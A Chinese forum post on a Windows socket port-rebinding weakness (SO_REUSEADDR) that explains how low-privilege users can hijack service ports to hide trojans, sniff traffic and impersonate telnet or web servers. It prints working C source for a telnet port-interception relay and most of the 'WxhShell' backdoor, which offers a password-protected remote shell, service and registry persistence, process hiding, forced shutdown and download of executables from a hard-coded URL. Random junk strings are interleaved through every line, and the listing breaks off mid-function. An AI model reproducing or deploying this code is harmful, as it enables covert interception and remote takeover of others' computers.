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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vw[i.af  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3jDAj!_ea  
s|d"2w6t  
  saddr.sin_family = AF_INET; Qs7*_=+h  
x5%x""VEK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); G'f5MP 1  
,@0D_&JAl  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^@OdY& 5^  
C] >?YR4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %#iu  
%)p?&_  
  这意味着什么?意味着可以进行如下的攻击: se&Q\!&M  
)Rr0f 8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 p~f=0K  
^F:Bj&0v[  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `$i/f(t6`  
XWv;l)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #MAXH7[  
+S ],){  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >m# bj^F\  
Qkb=KS%z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 55Ag<\7  
}b=Cv?Zg$m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _q=ua;I&  
*m*sg64Zw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +wxDK A_  
=gQ^,x0R9  
  #include olca Z  
  #include I@q(P>]X9  
  #include @~8*  
  #include    'ocPG.PaU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   = ow=3Ku  
  int main() *:V+whBY  
  { Z,7VOf6g  
  WORD wVersionRequested; ]oxi~TwY^  
  DWORD ret; 4rrR;V"}  
  WSADATA wsaData; M*2 Nq=3  
  BOOL val; (Fs{~4T  
  SOCKADDR_IN saddr; J+r:7NvZ  
  SOCKADDR_IN scaddr; s"B+),Jod  
  int err; )%vnl~i!  
  SOCKET s; jj6yf.r6c  
  SOCKET sc; ch]{ =61  
  int caddsize; njckPpyb@  
  HANDLE mt; M$UZn  
  DWORD tid;   X}B ]0z>  
  wVersionRequested = MAKEWORD( 2, 2 ); ;bRyk#  
  err = WSAStartup( wVersionRequested, &wsaData ); \h5!u1{L  
  if ( err != 0 ) { ubUVxYD?  
  printf("error!WSAStartup failed!\n"); ]8CgHT[^7  
  return -1; qrufnu5cC  
  } P$5K[Y4f  
  saddr.sin_family = AF_INET; VMH^jCFp  
   QJ2D C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ':!aFMj^  
;"|QW?>$D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -rlCE-S  
  saddr.sin_port = htons(23); C1o^$Q|j  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #eIFRNRb)  
  { r$W%d[pB  
  printf("error!socket failed!\n"); bk:mk[  
  return -1; KvXF zx|A  
  } ip!-~HNwJ  
  val = TRUE; +F+M[ef<ws  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,-[z?dvO  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 45;ey }8  
  { % O u'+A  
  printf("error!setsockopt failed!\n"); xQkvK=~$  
  return -1; a!B"WNb+  
  } bXk(wXX  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Dvm[W),(k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 pD;fFLvN  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :f~qt%%/  
}/2M?W0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) #p2`9o  
  { *" +u^  
  ret=GetLastError(); %S/?Ci  
  printf("error!bind failed!\n"); 1P?|.W_^1  
  return -1; '9!J' [W  
  } J?C:@Q  
  listen(s,2); Vrs?VA`v$  
  while(1) qyP={E9A  
  { {r'+icvLX  
  caddsize = sizeof(scaddr); X}H?*'-  
  //接受连接请求 %Ni"*\  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); UCJx{7  
  if(sc!=INVALID_SOCKET) 9_fbl:qk;\  
  { E8BIb 'b;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PU8dr|!  
  if(mt==NULL)  fj'7\[nZ  
  { 3,-[lG@o  
  printf("Thread Creat Failed!\n"); >:HmIW0PLe  
  break; [Qcht,\^v  
  } EB VG@  
  } f+1@mGt  
  CloseHandle(mt); ?AK`M #M  
  } q _Z+H4  
  closesocket(s); </2 aQn  
  WSACleanup(); -5JN`  
  return 0; ["[v  
  }   )]kxLf#  
  DWORD WINAPI ClientThread(LPVOID lpParam) %77uc9}  
  { p>B-Ubu  
  SOCKET ss = (SOCKET)lpParam; l=ZD&uK  
  SOCKET sc; _@W1?;yD  
  unsigned char buf[4096]; mM:%-I\$   
  SOCKADDR_IN saddr; -e"A)Bpl(  
  long num; :kFPPx?  
  DWORD val; ;GIA`=a %  
  DWORD ret; w[C*w\A\M  
  //如果是隐藏端口应用的话,可以在此处加一些判断 b0Dco0U(  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RFoCM^  
  saddr.sin_family = AF_INET;  ?tA%A  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); EjMVlZC>  
  saddr.sin_port = htons(23); m`}mbm^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4AMe>s  
  { SP/'4m  
  printf("error!socket failed!\n"); &8?O ~X=/  
  return -1; Y&H<8ez  
  } +lb&_eD  
  val = 100; kc(m.k!|f\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i%[+C  
  { [+Fajo;0  
  ret = GetLastError(); a~ dgf:e`  
  return -1; b~r:<:;  
  } '$),i>6gJ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  TD%&9$F  
  { %uCsCl  
  ret = GetLastError(); |Z)}-'QUJ  
  return -1; `jSegG'  
  } p6V#!5Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ea]qX6)UZ  
  { %z=:P{0UQ  
  printf("error!socket connect failed!\n"); ja9=b?]0,  
  closesocket(sc); Wf^ sl  
  closesocket(ss); ?U+hse3e~  
  return -1; t+_\^Oa)  
  } <ZheWl  
  while(1) hz*T"HJ]t  
  { 6l[ v3l"t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `So/G  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zXD/hM  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h8X[*Wme  
  num = recv(ss,buf,4096,0); XwFTAaZ  
  if(num>0) bv VkN  
  send(sc,buf,num,0); b $yIM  
  else if(num==0) -DK6(<:0  
  break; 6~Dyr82"B  
  num = recv(sc,buf,4096,0); e^oGiL ~  
  if(num>0) Yxbg _RQm  
  send(ss,buf,num,0); T*%rhnTv0  
  else if(num==0) eh> |m> JY  
  break; r}es_9*~Z  
  } ?|98Y"w  
  closesocket(ss); (~o"*1fk>  
  closesocket(sc); +80bG(I_  
  return 0 ; P;o  {t  
  } ,n[<[tkCR  
*5 .wwV  
NyT%S?@y<  
========================================================== @HPr;m!  
heL`"Y2'y>  
下边附上一个代码,,WXhSHELL IT{c:jo1{`  
PpKjjA<  
========================================================== 0|.jIix;  
^b$_I31D  
#include "stdafx.h" oyr b.lu/  
Q4_r) &np  
#include <stdio.h> v0VQ4>  
#include <string.h> @&Z^WN,x  
#include <windows.h> tH4 q*\U  
#include <winsock2.h> _ xTpW  
#include <winsvc.h> ~TsRUT  
#include <urlmon.h> /# ]eVD  
URs]S~tk  
#pragma comment (lib, "Ws2_32.lib") ox%j_P9@:  
#pragma comment (lib, "urlmon.lib") AH:uG#  
QS!Z*vG  
#define MAX_USER   100 // 最大客户端连接数 2]I l:>n,  
#define BUF_SOCK   200 // sock buffer ?_d6 ;  
#define KEY_BUFF   255 // 输入 buffer w;yzgj:n&f  
R~T}  
#define REBOOT     0   // 重启 _dRB=bl"O  
#define SHUTDOWN   1   // 关机 vi *A 5  
G{]RC^Zo  
#define DEF_PORT   5000 // 监听端口 Ln2FG4{  
jLM([t  
#define REG_LEN     16   // 注册表键长度 r5N TTc  
#define SVC_LEN     80   // NT服务名长度 &R?`QB2/  
\ a,}1FS  
// 从dll定义API m$=}nI(H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YLi6G Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); /AAD Fa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p]EugLEmG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]"b:IWPeI  
9?MzIt  
// wxhshell配置信息 J@2wPKh?Yp  
struct WSCFG { "3\y~<8%'  
  int ws_port;         // 监听端口 ||>4XDV#  
  char ws_passstr[REG_LEN]; // 口令 hNsi  8/  
  int ws_autoins;       // 安装标记, 1=yes 0=no `MCiybl,&P  
  char ws_regname[REG_LEN]; // 注册表键名 *U,J Q  
  char ws_svcname[REG_LEN]; // 服务名 NS2vA>n8R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vQyY %  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Vx2/^MiXy  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JPAjOcmU/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g i6s+2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fs 2MYat  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 l=p_  
4NW!{Vw ,  
}; 'E9{qPLk(  
x<M::")5!V  
// default Wxhshell configuration wpuK?fP  
struct WSCFG wscfg={DEF_PORT, 6ICW>#fI`  
    "xuhuanlingzhe", \OtreYi  
    1, 'mbLK#q  
    "Wxhshell", o+&Om~W  
    "Wxhshell", T>'O[=UWh  
            "WxhShell Service", ,wes*  
    "Wrsky Windows CmdShell Service", ^n0;Q$\  
    "Please Input Your Password: ", <O 0Q]`i  
  1, Rlk3AWl2u  
  "http://www.wrsky.com/wxhshell.exe", V%s7*`U  
  "Wxhshell.exe" )f|`mM4DW!  
    }; j!>P7 8  
OyVP_Yx,V  
// 消息定义模块 Q;8z&4s@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MGsQF#6]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Qgj# k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OU/}cu  
char *msg_ws_ext="\n\rExit."; Lm~<BBp.  
char *msg_ws_end="\n\rQuit."; lQ`=PFh  
char *msg_ws_boot="\n\rReboot..."; :>{!%-1Z  
char *msg_ws_poff="\n\rShutdown..."; pQBn8H|Y  
char *msg_ws_down="\n\rSave to "; #| _VN %!  
n}.e(z_"  
char *msg_ws_err="\n\rErr!"; zP%s]>hH  
char *msg_ws_ok="\n\rOK!"; gAWi&  
sFz0:SqhE  
char ExeFile[MAX_PATH]; 3?a`@C&x  
int nUser = 0; wQUl!s7M;  
HANDLE handles[MAX_USER]; &&9 |;0 <  
int OsIsNt; NOQ^HEi  
 x)Bbo9J  
SERVICE_STATUS       serviceStatus; V^ n6~O  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2P^|juc)sU  
}+n|0xK  
// 函数声明 kEnGr6e  
int Install(void); d-B+s%>D  
int Uninstall(void); m6mGcbpn  
int DownloadFile(char *sURL, SOCKET wsh); m%`YAD@2z  
int Boot(int flag); jeWv~JA%L|  
void HideProc(void); f(w>(1&/B  
int GetOsVer(void); ?'6@m86d  
int Wxhshell(SOCKET wsl); I?}jf?!oM  
void TalkWithClient(void *cs); IU"  
int CmdShell(SOCKET sock); MGm*({%  
int StartFromService(void); bpwA|H%{M  
int StartWxhshell(LPSTR lpCmdLine); O|,9EOrP  
bh1$ A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W+#Q>^Q>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); cb /Q<i  
]nUrE6  
// 数据结构和表定义 g~y0,0'j1\  
SERVICE_TABLE_ENTRY DispatchTable[] = /S"jO [n9b  
{ ?I6rW JcQ6  
{wscfg.ws_svcname, NTServiceMain}, %US&`BT!  
{NULL, NULL} ;yomaAr  
}; n8<?<-2  
Gy/w #4xj  
// 自我安装 uKP4ur@1  
int Install(void) T<pG$4_  
{ w-pgtO|Us  
  char svExeFile[MAX_PATH]; ce\d35x!  
  HKEY key; !6'N-b1  
  strcpy(svExeFile,ExeFile); Dhn7N8(LF!  
nUP, Yd  
// 如果是win9x系统,修改注册表设为自启动 b!@PS$BTxq  
if(!OsIsNt) { ^7spXfSAd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HXa[0VOx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7x6 M]1F  
  RegCloseKey(key); adP  :{j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Lmte ~oBi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mp8GHV  
  RegCloseKey(key); 88osWo6rG  
  return 0; -{cmi,oy  
    } _eiqs  
  } i7.8H*z'  
} xc#t8`  
else { N x&/p$d  
~|} ]  
// 如果是NT以上系统,安装为系统服务 B[@q.n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9O3#d  
if (schSCManager!=0) m>vwpRBOA  
{ +Umsr  
  SC_HANDLE schService = CreateService R|C`  
  ( +<1 |apS1  
  schSCManager, `HRL .uX  
  wscfg.ws_svcname, e%JIqKS  
  wscfg.ws_svcdisp, eT".psRiC  
  SERVICE_ALL_ACCESS, skcyLIb  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `MSig)V  
  SERVICE_AUTO_START, cuQ!"iH  
  SERVICE_ERROR_NORMAL, @v lP)"  
  svExeFile, 5j`xSG  
  NULL, <}RI<96  
  NULL, n>ui'}L  
  NULL, TF/NA\0c$  
  NULL, v@Uk% O/  
  NULL }pMVl  
  ); &|k=mxox\  
  if (schService!=0) .kBkYK8*t  
  { ;Sivu-%  
  CloseServiceHandle(schService); %1Q:{m  
  CloseServiceHandle(schSCManager); GGuU(sL*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); py'vD3Q  
  strcat(svExeFile,wscfg.ws_svcname); Gw<D'b)!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AabQ)23R2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =PRQ3/?5  
  RegCloseKey(key); z^QrIl/<c2  
  return 0; n?@zp<  
    } s=n4'`y1  
  } Qfn:5B]tI  
  CloseServiceHandle(schSCManager); #<*.{"T  
} eG,x\  
} C(XV YND3  
t<Acq07  
return 1; [~{F(Le  
} 1nAm\/&  
rC-E+%y  
// 自我卸载 2PlhnUQ7  
int Uninstall(void) u8zL[] >  
{ ^+P.f[  
  HKEY key; $ ZI ]  
zzf@U&x<  
if(!OsIsNt) { E#KZZ lbx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r W`7<3  
  RegDeleteValue(key,wscfg.ws_regname); '. "_TEIF  
  RegCloseKey(key); nEsD+ }E?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { zo ?RFn  
  RegDeleteValue(key,wscfg.ws_regname); |0i{z(B  
  RegCloseKey(key); [MpWvLP"x  
  return 0; <_xG)vwh.  
  } i=xh;yb|  
} #"UO`2~`l  
} wG,"X'1  
else { H@uu;:l<7A  
x2B8G;6u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;|Mfq` s  
if (schSCManager!=0) WA (x]""  
{ y47N(;vy  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \V$qAfP)  
  if (schService!=0) _Xd"'cXw  
  { \}jA1oy  
  if(DeleteService(schService)!=0) { 3*h"B$g!  
  CloseServiceHandle(schService); O-V|=t  
  CloseServiceHandle(schSCManager); DPT6]pl"y  
  return 0; sq2:yt  
  } /2Wg=&H  
  CloseServiceHandle(schService); BXYHJ  
  } Am F[#)90P  
  CloseServiceHandle(schSCManager); B"_O!  
} 2GptK"MrD  
} >Q/;0>V  
V$ H(a`!  
return 1; 'SFAJ  
} /i,n75/y?  
Lu}jk W*  
// 从指定url下载文件 %nZ:)J>kz  
int DownloadFile(char *sURL, SOCKET wsh) 9`*ST(0/  
{ %hSQ\T<8[o  
  HRESULT hr; 5pJe`}O4  
char seps[]= "/"; v#Rh:#7O%U  
char *token; LaQ7A,]  
char *file; h+W$\T)  
char myURL[MAX_PATH]; 'f6H#V*C  
char myFILE[MAX_PATH]; @[g7\d  
3jAr"xc  
strcpy(myURL,sURL); A08kwYxiW  
  token=strtok(myURL,seps); X84T F~2Y  
  while(token!=NULL) =cEsv&i  
  { 3mHzOs\jU  
    file=token; }b\hRy~=r  
  token=strtok(NULL,seps); }nlS&gew^  
  } J%CCUl2  
_qa]T'8  
GetCurrentDirectory(MAX_PATH,myFILE); lKsn6c,]  
strcat(myFILE, "\\"); =@!t/LR7kg  
strcat(myFILE, file); ;stjqTd  
  send(wsh,myFILE,strlen(myFILE),0); kO\ O$J^S  
send(wsh,"...",3,0); LI%dJ*-V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t5+p]7  
  if(hr==S_OK) Y1h)aQ5{  
return 0; a?-&O$UHf\  
else +*8su5:[&@  
return 1; EX8+3>)  
ii?T:T@  
} ooVs8T2  
9ngxkOGx  
// 系统电源模块 w-n}&f  
int Boot(int flag) <MbhBIejr  
{ ,ucRQ&P  
  HANDLE hToken; ^sf,mM~D  
  TOKEN_PRIVILEGES tkp; (xb2H~WrN  
_f^6F<!  
  if(OsIsNt) { lEHx/#qt9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *6?mZ*GYY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  i"<W6  
    tkp.PrivilegeCount = 1; (\F9_y,6*\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1b%Oi.;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Cx2# 0$  
if(flag==REBOOT) { tczJk1g}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <iky~iE  
  return 0; /wLBmh1"  
} x@OBGKV  
else { rQ.zqr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) dL$ iTSfz"  
  return 0; ;z4J)qw  
} 8'*x88+  
  } z,aMbgt  
  else { "SMJ:g",  
if(flag==REBOOT) { }&vD(hX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yP{ 52%|+  
  return 0; !Aj}sh{  
} >Hnm.?-AWl  
else { *:n7B\.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f]r*;YEc4  
  return 0; c]{}|2u  
} jC'h54 ,Mr  
} ]AYP\\Xi  
wY<s  
return 1; 8JY0]G6  
} _bCAZa&&  
!i t orSl  
// win9x进程隐藏模块 q@wD@_  
void HideProc(void) #uU(G\^T  
{ IB;yL/T  
dy_Uh)$$|g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;O}%SCF7  
  if ( hKernel != NULL ) v^JzbO~|gj  
  { |#_p0yPy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w x]?D%l  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;<M}ZL@m  
    FreeLibrary(hKernel); Ikdj?"+O  
  } Z+v,o1  
`^[k8Z(  
return; A;L ]=J  
} N~,Ipf  
O]tR~a  
// 获取操作系统版本 %j\&}>P4$  
int GetOsVer(void) 3Z" ;a  
{ RxqNgun@  
  OSVERSIONINFO winfo; ?SNacN@r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x[58C+  
  GetVersionEx(&winfo); @/:4beh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 4NID:<  
  return 1; %4nf(|8n  
  else )9nW`d+  
  return 0; zu1"`K3b  
} '6M6e(  
486\a  
// 客户端句柄模块 X\m\yv}}  
int Wxhshell(SOCKET wsl) /F;2wT;  
{ &ww-t..  
  SOCKET wsh; , Wd=!if  
  struct sockaddr_in client; @MOQk  
  DWORD myID; *F1TZ_GS  
U,W MP<5&  
  while(nUser<MAX_USER) ^UKAD'_#%O  
{ 684& H8  
  int nSize=sizeof(client); _]zX W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tM]Gu?6  
  if(wsh==INVALID_SOCKET) return 1; 3JGrJ!x  
D\_nqx9O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3WP\MM  
if(handles[nUser]==0)  BI?, 3  
  closesocket(wsh); G[ U5R?/  
else $l*?Ce:  
  nUser++; )8C`EPe  
  } m538p.(LIR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X|a{Z*y;r*  
q~}oU5  
  return 0; Tv"T+!Z  
} 6B8!}6Ojc  
.T3N"}7[  
// 关闭 socket z0rYzn?MR  
void CloseIt(SOCKET wsh) cjN)3L{  
{ F\r"Y)|b=  
closesocket(wsh); v)Y)tu>  
nUser--; K@7%i|H  
ExitThread(0); U*~-\jN1pb  
} L(yUS)O  
MAYb.>X#>  
// 客户端请求句柄 8n5~K.;<  
void TalkWithClient(void *cs) <q=Zg7zB  
{ `/[5/%  
:"Xnu%1  
  SOCKET wsh=(SOCKET)cs; [QxP9EC  
  char pwd[SVC_LEN]; Zp/+F(  
  char cmd[KEY_BUFF]; ]_(hUj._  
char chr[1]; Sesdhuy.@  
int i,j; @.7/lRr@bp  
q7lC}'2fu  
  while (nUser < MAX_USER) { _G'ki.[S7  
82@^vX  
if(wscfg.ws_passstr) { ?7Cm+J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >>T7;[h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EK4%4<"  
  //ZeroMemory(pwd,KEY_BUFF); {3  
      i=0; S%MDQTM  
  while(i<SVC_LEN) { HVus\s\&y%  
MU$tX  
  // 设置超时 u~OlJ1V  
  fd_set FdRead; T!,5dt8L  
  struct timeval TimeOut; Bg),Q8\I  
  FD_ZERO(&FdRead); ^mq(j_E.  
  FD_SET(wsh,&FdRead); -7&ywgxl  
  TimeOut.tv_sec=8; {?:]'c  
  TimeOut.tv_usec=0; ;\w3IAa|V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  b+a+OI D  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k{mBG9[z  
3*I\#Z4p1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kqKT>xo4EZ  
  pwd=chr[0]; 5)< Y3nU~  
  if(chr[0]==0xd || chr[0]==0xa) { 48 wt  
  pwd=0; W7n^]~V  
  break; ta{24{?M\  
  } eOb--@~8  
  i++; rY(7IX  
    } v'?Smd1v /  
9KX% O-'  
  // 如果是非法用户,关闭 socket )f$4: Pq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L6CI9C;-b  
} bIGcszWr  
!(q@sw(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?'~u)O(n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 68P'<|u?  
(qFZF7(Xa  
while(1) { t|'%0 W  
hk=[v7  
  ZeroMemory(cmd,KEY_BUFF); CtMqE+j^  
bJn&Y  
      // 自动支持客户端 telnet标准   /%;J1 {O  
  j=0; BeFyx"NBg  
  while(j<KEY_BUFF) { bhpaC8|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iN8[^,2H|  
  cmd[j]=chr[0]; 2n3&uvf'TL  
  if(chr[0]==0xa || chr[0]==0xd) { f5F-h0HF`[  
  cmd[j]=0; bz>\n"'  
  break; K W&muD  
  } HsTY*^V  
  j++; ynw(wSH=  
    } =)Hu(;Yv  
nam]eW  
  // 下载文件 Jw5@#j  
  if(strstr(cmd,"http://")) { oo;<I_#07  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,oH\rrglf  
  if(DownloadFile(cmd,wsh)) $B?8\>_?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EeMKo  
  else =7e!'cF[  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ze>R@rK  
  } P Ptmh. }e  
  else { |a03S Zx  
Lp-$Ie  
    switch(cmd[0]) { &ic'!h"  
  3ux7^au  
  // 帮助 ^Lb\k|U ,\  
  case '?': { 2'=)ese  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); eV!(a8  
    break; MH)V=xU|)  
  } .'o=J`|  
  // 安装 q`PA~C];  
  case 'i': { *Zg=cI@)(  
    if(Install()) c/88|k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JYj*.Q0  
    else e 1XKlgl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tXA?[ S  
    break; 6IRRRtO(  
    } p#qla'  
  // 卸载 MS#"TG/)  
  case 'r': { A-1K TD  
    if(Uninstall()) z&0[F`U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Ih }"  
    else <_8b AO8\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )SP"V~^Wn  
    break; g%= K rO  
    } fsPsP`|  
  // 显示 wxhshell 所在路径 Q\s+w){f%  
  case 'p': { @_"cMU!  
    char svExeFile[MAX_PATH]; ShL!7y*rT{  
    strcpy(svExeFile,"\n\r"); F(.`@OO  
      strcat(svExeFile,ExeFile); oUsfO-dET^  
        send(wsh,svExeFile,strlen(svExeFile),0); 7:F0?l*  
    break; EGI$=Y  
    } HqsqUS3[  
  // 重启 [2xu`HT02  
  case 'b': { Y[)mHs2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nHeJ20  
    if(Boot(REBOOT)) xO:h[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u(3 uZ:  
    else { XK\nOHLS  
    closesocket(wsh); !pU^?Hy=  
    ExitThread(0); l[_antokn  
    } F|6"-*[RS  
    break; !GvT{  
    } d)U(XiK'  
  // 关机 | eCVq(R  
  case 'd': { UTE6U6  
